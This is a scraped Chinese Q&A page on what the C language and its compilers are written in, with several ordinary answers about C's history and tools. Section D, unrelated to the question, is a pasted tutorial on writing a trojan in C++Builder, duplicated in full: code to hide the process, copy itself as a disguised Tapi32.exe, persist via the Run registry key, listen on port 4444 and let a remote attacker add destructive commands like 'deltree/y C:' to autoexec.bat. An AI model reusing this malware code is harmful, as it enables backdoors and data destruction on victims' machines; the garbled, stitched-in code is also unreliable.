c语言用什么编写的
A. c语言是用什么语言写的
c语言是unix的“副产物”,当时汤姆逊用汇编和“B语言”开发了unix,但由于艰涩难懂,亦不便移植与推广,丹尼斯里奇对“B语言”进行了提炼,猜测可能基于汇编,写出了第一个“C编译器”,并用C语言对unix进行了重写,使得unix可以不依赖具体机器系统,可移植性大增,当然这也归功于C语言的可移植特性。此后C语言由ANSI制定了ANSI C标准,奠定了现在各种C与类C语言的基础。
B. c语言是用什么语言开发出来的
语言依赖于编译器存在。只要有能将一种语言编译成一种机器代码,可执行程序的编译器存在,该语言就可以用。C语言由C语言编译器编译。你是问C语言用什么语言开发的,还是C编译器用什么语言开发的。其实第二个问题才有意义对不对?
那么编译器是什么?是把一种语言换成机器代码的程序对不对。如果承认这个,那好。那什么语言都能编译C语言,只要它具备以下几个条件:
1。能够打开文件。
2。具备文字处理和运算功能。
3。能够写一个文件。
好的,那么世界上几乎80%的软件语言都能够写一个编译器,自然也能够写一个C编译器。
所以,你的问题的答案是,C语言编译器可以由现在基本上所有的语言编写。
其实这个问题本身已经没有意义了。
呵呵。。
C. C语言是什么写的
首先c语言是一种语言, 是人们约定的一种编程方式, 就像英语, 法语一样, 是一种语言, 是一种约定的规范.
所谓什么写的, 应该是指c语言的编译器吧.
编译器的作用就是把编程语言变成机器语言, 也就是把"代码"(如.c文件)变成计算机可读的机器语言文件. 所以编译器就是一个程序, 把一种文字转化为另一种文字.
既然编译器是程序, 那任何编程的语言都可以写编译器.
在早期, 计算机只有汇编语言, c语言刚发明的时候只能用汇编语言写c语言的编译器, 但是会比较麻烦.
后来c语言编译器完善后, 可以用c语言再写一遍自己的编译器, 用原来那个汇编语言写的编译器编译通过后, 就得到一个新的c语言编译器(现在就有两个编译器了).
再后来有了java("JAVA是什么写的"同理C语言), 也可以用JAVA来写一个c语言的编译器(以上就有3个C语言编译器了).
也就是说, 一个语言是约定的, 固定的. 但是他的编译器可以有千千万, 不同的人, 不同的语言可以写出很多个同一种语言的编译器. 比较出名的有微软公司写的vc++, 和GNU组织的gcc.
-----------------------------------------
另外补充一点就是, 从一种语言的代码到一种机器的的代码是非常复杂的问题, 不同机器的机器语言都不同, 因此如果有N种语言和M种机器, 那至少应该有N*M个编译器.
这样就把编译器分为了前段和后端.(当然, 中间语言是怎样的也是争论纷纷).
D. C语言环境是用什么编写的
C++编写木马全过程
首先是编程工具的选择。目前流行的开发工具有C++Builder、VC、VB和Delphi,这里我们选用C++Builder(以下简称);VC虽然好,但GUI设计太复杂,为了更好地突出我的例子,集中注意力在木马的基本原理上,我们选用可视化的BCB;Delphi也不错,但缺陷是不能继承已有的资源(如“死牛崇拜”黑客小组公布的BO2000源代码,是VC编写的,网上俯拾皆是);VB嘛,谈都不谈??难道你还给受害者传一个1兆多的动态链接库??Msvbvm60.dll吗?
启动C++Builder 5.0企业版,新建一个工程,添加三个VCL控件:一个是Internet页中的Server Socket,另两个是Fastnet页中的NMFTP和NMSMTP。Server Socket的功能是用来使本程序变成一个服务器程序,可以对外服务(对攻击者敞开大门)。Socket最初是在Unix上出现的,后来微软将它引入了Windows中(包括Win98和WinNt);后两个控件的作用是用来使程序具有FTP(File Transfer Protocol文件传输协议)和SMTP(Simple Mail Transfer Protocol简单邮件传输协议)功能,大家一看都知道是使软件具有上传下载功能和发邮件功能的控件。
form窗体是可视的,这当然是不可思议的。不光占去了大量的空间(光一个form就有300K之大),而且使软件可见,根本没什么作用。因此实际写木马时可以用一些技巧使程序不包含form,就像Delphi用过程实现的小程序一般只有17K左右那样。
我们首先应该让我们的程序能够隐身。双击form,首先在formCreate事件中添加可使木马在Win9x的“关闭程序”对话框中隐藏的代码。这看起来很神秘,其实说穿了不过是一种被称之为Service的后台进程,它可以运行在较高的优先级下,可以说是非常靠近系统核心的设备驱动程序中的那一种。因此,只要将我们的程序在进程数据库中用RegisterServiceProcess()函数注册成服务进程(Service Process)就可以了。不过该函数的声明在Borland预先打包的头文件中没有,那么我们只好自己来声明这个位于KERNEL32.DLL中的鸟函数了。
首先判断目标机的操作系统是Win9x还是WinNt:
{
DWORD dwVersion = GetVersion();
// 得到操作系统的版本号
if (dwVersion >= 0x80000000)
// 操作系统是Win9x,不是WinNt
{
typedef DWORD (CALLBACK* LPREGISTERSERVICEPROCESS)(DWORD,DWORD);
//定义RegisterServiceProcess()函数的原型
HINSTANCE hDLL;
LPREGISTERSERVICEPROCESS lpRegisterServiceProcess;
hDLL = LoadLibrary("KERNEL32);
//加载RegisterServiceProcess()函数所在的动态链接库KERNEL32.DLL
lpRegisterServiceProcess = (LPREGISTERSERVICEPROCESS)GetProcAddress(hDLL,"RegisterServiceProcess);
//得到RegisterServiceProcess()函数的地址
lpRegisterServiceProcess(GetCurrentProcessId(),1);
//执行RegisterServiceProcess()函数,隐藏本进程
FreeLibrary(hDLL);
//卸载动态链接库
}
}
这样就终于可以隐身了(害我敲了这么多代码!)。为什么要判断操作系统呢?因为WinNt中的进程管理器可以对当前进程一览无余,因此没必要在WinNt下也使用以上代码(不过你可以使用其他的方法,这个留到后面再讲)。
接着再将自己拷贝一份到%System%目录下,例如:C:\Windows\System,并修改注册表,以便启动时自动加载:
{
char TempPath[MAX_PATH];
//定义一个变量
GetSystemDirectory(TempPath ,MAX_PATH);
//TempPath是system目录缓冲区的地址,MAX_PATH是缓冲区的大小,得到目标机的System目录路径
SystemPath=AnsiString(TempPath);
//格式化TempPath字符串,使之成为能供编译器使用的样式
opyFile(ParamStr(0).c_str(), AnsiString(SystemPath+"\\Tapi32.exe).c_str() ,FALSE);
//将自己拷贝到%System%目录下,并改名为Tapi32.exe,伪装起来
Registry=new TRegistry;
//定义一个TRegistry对象,准备修改注册表,这一步必不可少
Registry->RootKey=HKEY_LOCAL_MACHINE;
//设置主键为HKEY_LOCAL_MACHINE
egistry->OpenKey("Software\\Microsoft\\Windows\\
CurrentVersion\\Run,TRUE);
//打开键值Software\\Microsoft\\Windows\\CurrentVersion\\Run,如果不存在,就创建之
try
{
//如果以下语句发生异常,跳至catch,以避免程序崩溃
!=SystemPath+"\\Tapi32.exe)
SystemPath+"\\Tapi32.exe);
//查找是否有“crossbow”字样的键值,并且是否为拷贝的目录%System%+Tapi32.exe
//如果不是,就写入以上键值和内容
}
catch(...)
{
//如果有错误,什么也不做
}
}
好,formCreate过程完成了,这样每次启动都可以自动加载Tapi32.exe,并且在“关闭程序”对话框中看不见本进程了,木马的雏形初现。
接着选中ServerSocket控件,在左边的Object Inspector中将Active改为true,这样程序一启动就打开特定端口,处于服务器工作状态。再将Port填入4444,这是木马的端口号,当然你也可以用别的。但是你要注意不要用1024以下的低端端口,因为这样不但可能会与基本网络协议使用的端口相冲突,而且很容易被发觉,因此尽量使用1024以上的高端端口(不过也有这样一种技术,它故意使用特定端口,因为如果引起冲突,Windows也不会报错 ^_^)。你可以看一看TNMFTP控件使用的端口,是21号端口,这是FTP协议的专用控制端口(FTP Control Port);同理TNMSMTP的25号端口也是SMTP协议的专用端口。
再选中ServerSocket控件,点击Events页,双击OnClientRead事件,敲入以下代码:
{
FILE *fp=NULL;
char * content;
int times_of_try;
char TempFile[MAX_PATH];
//定义了一堆待会儿要用到的变量
AnsiString(SystemPath+AnsiString("\\Win369.BAT)).c_str());
//在%System%下建立一个文本文件Win369.bat,作为临时文件使用
AnsiString temp=Socket->ReceiveText();
//接收客户端(攻击者,也就是你自己)传来的数据
}
好,大门敞开了!接着就是修改目标机的各种配置了!^_^ 首先我们来修改Autoexec.bat和Config.sys吧:
{
f(temp.SubString(0,9)=="edit conf)
//如果接受到的字符串的前9个字符是“edit conf”
{
int number=temp.Length();
//得到字符串的长度
int file_name=atoi((temp.SubString(11,1)).c_str());
//将第11个字符转换成integer型,存入file_name变量
//为什么要取第11个字符,因为第10个字符是空格字符
content=(temp.SubString(12,number-11)+'\n').c_str();
//余下的字符串将被作为写入的内容写入目标文件
FILE *fp=NULL;
char filename[20];
chmod("c:\\autoexec.bat,S_IREAD|S_IWRITE);
chmod("c:\\config.sys,S_IREAD|S_IWRITE);
//将两个目标文件的属性改为可读可写
if(file_name==1)
"c:\\autoexec.bat);
//如果第11个字符是1,就把Autoexec.bat格式化
else if(file_name==2)
"c:\\config.sys);
//如果第11个字符是1,就把Config.sys格式化
times_of_try=0;
//定义计数器
while(fp==NULL)
{
//如果指针是空
fp=fopen(filename,"a+);
//如果文件不存在,创建之;如果存在,准备在其后添加
//如果出错,文件指针为空,这样就会重复
times_of_try=times_of_try+1;
//计数器加1
if(times_of_try>100)
{
//如果已经试了100次了,仍未成功
Socket->SendText("Fail By Open File);
//就发回“Fail By Open File”的错误信息
goto END;
//跳至END处
}
}
fwrite(content,sizeof(char),strlen(content),fp);
//写入添加的语句,例如deltree/y C:或者format/q/autotest C:,够毒吧?!
fclose(fp);
//写完后关闭目标文件
Socket->SendText("Sucess);
//然后发回“Success”的成功信息
}C++编写木马全过程
首先是编程工具的选择。目前流行的开发工具有C++Builder、VC、VB和Delphi,这里我们选用C++Builder(以下简称BCB);VC虽然好,但GUI设计太复杂,为了更好地突出我的例子,集中注意力在木马的基本原理上,我们选用可视化的BCB;Delphi也不错,但缺陷是不能继承已有的资源(如“死牛崇拜”黑客小组公布的BO2000源代码,是VC编写的,网上俯拾皆是);VB嘛,谈都不谈??难道你还给受害者传一个1兆多的动态链接库??Msvbvm60.dll吗?
启动C++Builder 5.0企业版,新建一个工程,添加三个VCL控件:一个是Internet页中的Server Socket,另两个是Fastnet页中的NMFTP和NMSMTP。Server Socket的功能是用来使本程序变成一个服务器程序,可以对外服务(对攻击者敞开大门)。Socket最初是在Unix上出现的,后来微软将它引入了Windows中(包括Win98和WinNt);后两个控件的作用是用来使程序具有FTP(File Transfer Protocol文件传输协议)和SMTP(Simple Mail Transfer Protocol简单邮件传输协议)功能,大家一看都知道是使软件具有上传下载功能和发邮件功能的控件。
form窗体是可视的,这当然是不可思议的。不光占去了大量的空间(光一个form就有300K之大),而且使软件可见,根本没什么作用。因此实际写木马时可以用一些技巧使程序不包含form,就像Delphi用过程实现的小程序一般只有17K左右那样。
我们首先应该让我们的程序能够隐身。双击form,首先在formCreate事件中添加可使木马在Win9x的“关闭程序”对话框中隐藏的代码。这看起来很神秘,其实说穿了不过是一种被称之为Service的后台进程,它可以运行在较高的优先级下,可以说是非常靠近系统核心的设备驱动程序中的那一种。因此,只要将我们的程序在进程数据库中用RegisterServiceProcess()函数注册成服务进程(Service Process)就可以了。不过该函数的声明在Borland预先打包的头文件中没有,那么我们只好自己来声明这个位于KERNEL32.DLL中的鸟函数了。
首先判断目标机的操作系统是Win9x还是WinNt:
{
DWORD dwVersion = GetVersion();
// 得到操作系统的版本号
if (dwVersion >= 0x80000000)
// 操作系统是Win9x,不是WinNt
{
typedef DWORD (CALLBACK* LPREGISTERSERVICEPROCESS)(DWORD,DWORD);
//定义RegisterServiceProcess()函数的原型
HINSTANCE hDLL;
LPREGISTERSERVICEPROCESS lpRegisterServiceProcess;
hDLL = LoadLibrary("KERNEL32);
//加载RegisterServiceProcess()函数所在的动态链接库KERNEL32.DLL
lpRegisterServiceProcess = (LPREGISTERSERVICEPROCESS)GetProcAddress(hDLL,"RegisterServiceProcess);
//得到RegisterServiceProcess()函数的地址
lpRegisterServiceProcess(GetCurrentProcessId(),1);
//执行RegisterServiceProcess()函数,隐藏本进程
FreeLibrary(hDLL);
//卸载动态链接库
}
}
这样就终于可以隐身了(害我敲了这么多代码!)。为什么要判断操作系统呢?因为WinNt中的进程管理器可以对当前进程一览无余,因此没必要在WinNt下也使用以上代码(不过你可以使用其他的方法,这个留到后面再讲)。
接着再将自己拷贝一份到%System%目录下,例如:C:\Windows\System,并修改注册表,以便启动时自动加载:
{
char TempPath[MAX_PATH];
//定义一个变量
GetSystemDirectory(TempPath ,MAX_PATH);
//TempPath是system目录缓冲区的地址,MAX_PATH是缓冲区的大小,得到目标机的System目录路径
SystemPath=AnsiString(TempPath);
//格式化TempPath字符串,使之成为能供编译器使用的样式
opyFile(ParamStr(0).c_str(), AnsiString(SystemPath+"\\Tapi32.exe).c_str() ,FALSE);
//将自己拷贝到%System%目录下,并改名为Tapi32.exe,伪装起来
Registry=new TRegistry;
//定义一个TRegistry对象,准备修改注册表,这一步必不可少
Registry->RootKey=HKEY_LOCAL_MACHINE;
//设置主键为HKEY_LOCAL_MACHINE
egistry->OpenKey("Software\\Microsoft\\Windows\\
CurrentVersion\\Run,TRUE);
//打开键值Software\\Microsoft\\Windows\\CurrentVersion\\Run,如果不存在,就创建之
try
{
//如果以下语句发生异常,跳至catch,以避免程序崩溃
!=SystemPath+"\\Tapi32.exe)
SystemPath+"\\Tapi32.exe);
//查找是否有“crossbow”字样的键值,并且是否为拷贝的目录%System%+Tapi32.exe
//如果不是,就写入以上键值和内容
}
catch(...)
{
//如果有错误,什么也不做
}
}
好,formCreate过程完成了,这样每次启动都可以自动加载Tapi32.exe,并且在“关闭程序”对话框中看不见本进程了,木马的雏形初现。
接着选中ServerSocket控件,在左边的Object Inspector中将Active改为true,这样程序一启动就打开特定端口,处于服务器工作状态。再将Port填入4444,这是木马的端口号,当然你也可以用别的。但是你要注意不要用1024以下的低端端口,因为这样不但可能会与基本网络协议使用的端口相冲突,而且很容易被发觉,因此尽量使用1024以上的高端端口(不过也有这样一种技术,它故意使用特定端口,因为如果引起冲突,Windows也不会报错 ^_^)。你可以看一看TNMFTP控件使用的端口,是21号端口,这是FTP协议的专用控制端口(FTP Control Port);同理TNMSMTP的25号端口也是SMTP协议的专用端口。
再选中ServerSocket控件,点击Events页,双击OnClientRead事件,敲入以下代码:
{
FILE *fp=NULL;
char * content;
int times_of_try;
char TempFile[MAX_PATH];
//定义了一堆待会儿要用到的变量
AnsiString(SystemPath+AnsiString("\\Win369.BAT)).c_str());
//在%System%下建立一个文本文件Win369.bat,作为临时文件使用
AnsiString temp=Socket->ReceiveText();
//接收客户端(攻击者,也就是你自己)传来的数据
}
好,大门敞开了!接着就是修改目标机的各种配置了!^_^ 首先我们来修改Autoexec.bat和Config.sys吧:
{
f(temp.SubString(0,9)=="edit conf)
//如果接受到的字符串的前9个字符是“edit conf”
{
int number=temp.Length();
//得到字符串的长度
int file_name=atoi((temp.SubString(11,1)).c_str());
//将第11个字符转换成integer型,存入file_name变量
//为什么要取第11个字符,因为第10个字符是空格字符
content=(temp.SubString(12,number-11)+'\n').c_str();
//余下的字符串将被作为写入的内容写入目标文件
FILE *fp=NULL;
char filename[20];
chmod("c:\\autoexec.bat,S_IREAD|S_IWRITE);
chmod("c:\\config.sys,S_IREAD|S_IWRITE);
//将两个目标文件的属性改为可读可写
if(file_name==1)
"c:\\autoexec.bat);
//如果第11个字符是1,就把Autoexec.bat格式化
else if(file_name==2)
"c:\\config.sys);
//如果第11个字符是1,就把Config.sys格式化
times_of_try=0;
//定义计数器
while(fp==NULL)
{
//如果指针是空
fp=fopen(filename,"a+);
//如果文件不存在,创建之;如果存在,准备在其后添加
//如果出错,文件指针为空,这样就会重复
times_of_try=times_of_try+1;
//计数器加1
if(times_of_try>100)
{
//如果已经试了100次了,仍未成功
Socket->SendText("Fail By Open File);
//就发回“Fail By Open File”的错误信息
goto END;
//跳至END处
}
}
fwrite(content,sizeof(char),strlen(content),fp);
//写入添加的语句,例如deltree/y C:或者format/q/autotest C:,够毒吧?!
fclose(fp);
//写完后关闭目标文件
Socket->SendText("Sucess);
//然后发回“Success”的成功信息
}
E. C语言是由什么语言编写而成的
我想,你问的是抄 C语言编译器 是用什么语袭言写的。
概括说,当今几乎所有的实用的编译器/解释器都是用C语言编写的,有一些语言比如Clojure,Jython等是基于JVM或者说是用Java实现的,IronPython等是基.NET实现的,但是Java和C#等本身也要依靠C/C++来实现,等于是间接调用了C。
世界上第一个C语言编译器,是在B语言基础上,用B语言与PDP汇编语言 编写的。开发过程是先用汇编写了一个最基本功能的子集C0,利用自编译Self-Compile功能,或虚拟机CVM(C Language Virtual Machine)功能,增添新的东西,变C1, 按此法多次增添发展,滚雪球般用汇编把小雪球揉到一起,1生2,2生3,...成了C。C 再生万物。
这里,该向C语言之父Dennis Ritchie(丹尼斯·里奇)致敬。
F. C语言是用什么软件编写的
C语言
C语言是一门计算机语言。
VC 6.0/VS 2003/VS 2005/VS 2008/C++ Build/TC都是开发环境,不同的公司为开发C语言编写的开发环境,方便开发人员。
所以你要知道的是: 要找一个开发环境去用这门语言开发程序。
因为开发环境都集成了编译器这些东西,所以刚入门的同学不是很清楚,如果你自己有编译器,那么就可以用notepad编写,然后手动用编译器编译你的程序。
G. c语言用什么软件编写
现在,简单点说就是:“原理相同,软件和网页版的只是架构不同,实质没啥区别。
都要用到数据库等等技术,都需要一个内网(局域网),或者广域网——实现连接、共享,内容都要放到数据库中——实现数据存取。
至于asp那个是微软的.net技术,配合的开发语言是c#,会了c++,那个的话还是买本书看看,或者在网上下载一个教学视频看看。”
至于如何用c或者c++开发网页版的或应用程序,我个人是没开发过,不过我个人当前水平下,C++桌面应用程序开发好像是用MFC等等技术开发的,需要用到很多函数库,这个和C有点相通,你应该在研究C或者C++吧,应该比我明白的多。哈哈。
建议,可能要用到技术:
JDBC编程,或者ODBC编程。(应用程序和数据库连接的技术)
数据库方面的,SQL(CRUD)语法。(数据库,处理数据的)
C#相应的学习(语言基础)
.net开发的学习(微软的网络开发框架)
DOM开发的学习(文档解析技术)
HTML、CSS、javascript等等网站技术(网站或桌面应用的界面开发)
ASP网站开发的知识。(动态网站开发的技术,其他的还有php、jsp等等)
还有很多,慢慢你要是打算研究的话,无穷无尽,你会发现一个好的应用有时候需要很多技术支撑,有时自己研究的够深入,基本的技术就能做的很好。
以上只是自己的建议,有的地方不准确或是错误,请及时查阅资料进行自我订正。
H. c语言是用什么语言编写的汇编吗
C语言源自Ken Thompson发明的B语言,而 B语言则源自BCPL语言。
1967年,剑桥大学的Martin Richards对CPL语言进行了专简化,于是属产生了BCPL(Basic Combined Programming Language)语言。
1972年,美国贝尔实验室的 D.M.Ritchie 在B语言的基础上最终设计出了一种新的语言,他取了BCPL的第二个字母作为这种语言的名字,这就是C语言。
(8)c语言用什么编写的扩展阅读
C语言编译器:
GCC,GNU组织开发的开源免费的编译器
MinGW,Windows操作系统下的GCC
Clang,开源的BSD协议的基于LLVM的编译器
Visual C++:: cl.exe,Microsoft VC++自带的编译器
C语言集成开发环境:
Code::Blocks,开源免费的C/C++ IDE
CodeLite,开源、跨平台的C/C++集成开发环境
Dev-C++,可移植的C/C++IDE
C-Free
Light Table
Visual Studio系列
I. c语言用什么编程软件
1、现抄在C语言建议使用Microsoft Visual Studio编程软件比较好,应该该软件与电脑Windows
7,8,10等系统兼容性比较好。
2、Microsoft Visual Studio(简称VS)是美国微软公司的开发工具包系列产品。VS是一个基本
完整的开发工具集,它包括了整个软件生命周期中所需要的大部分工具,如UML工具、代码管
控工具、集成开发环境(IDE)等等。所写的目标代码适用于微软支持的所有平台,包括Microsoft
Windows、Windows Mobile、Windows CE、.NET Framework、.NET Compact Framework和
Microsoft Silverlight 及Windows Phone。
3、Visual Studio是目前最流行的Windows平台应用程序的集成开发环境。最新版本为 Visual
Studio 2015 版本,基于.NET Framework 4.5.2 。
J. C语言是用什么编写出来的
C语言通过语言开发出来的。
C语言是Dennis Ritchie 在1972年通过Thompson的B语言的基础之上开发出来的。C是作为从版事实际编程工作的程序的权一种工具而出现的,所以其主要目标是成为一种有用的语言。同时, C 也是为编程人员开发的语言,这使得它成为当今人们首先的编程语言之一。
C已经成为最重要和流行的编程语言之一。它之所以得到发展,是因为人们尝试使用它后喜欢它。过去10年中,许多人从C转而使用更强大的C++语言,但C有其自身的优势,仍然是一种重要的语言,而且它还是通往C++的必由之路。
(10)c语言用什么编写的扩展阅读
C语言特点
1、设计特性:C是一种融合了控制特性的现代语言,而我们已发现在计算机科学的理论和实践中,控制特性是很重要的。
2、高效性: C是一种高效的语言。 在设计上它充分利用了当前计算机在能力上的优点。C程序往往很紧凑且运行速度快。
3、可移植性:C是一种可移植语言。在一个系统上编写的C程序经过很少改动或不经修改就可以其他系统上运行。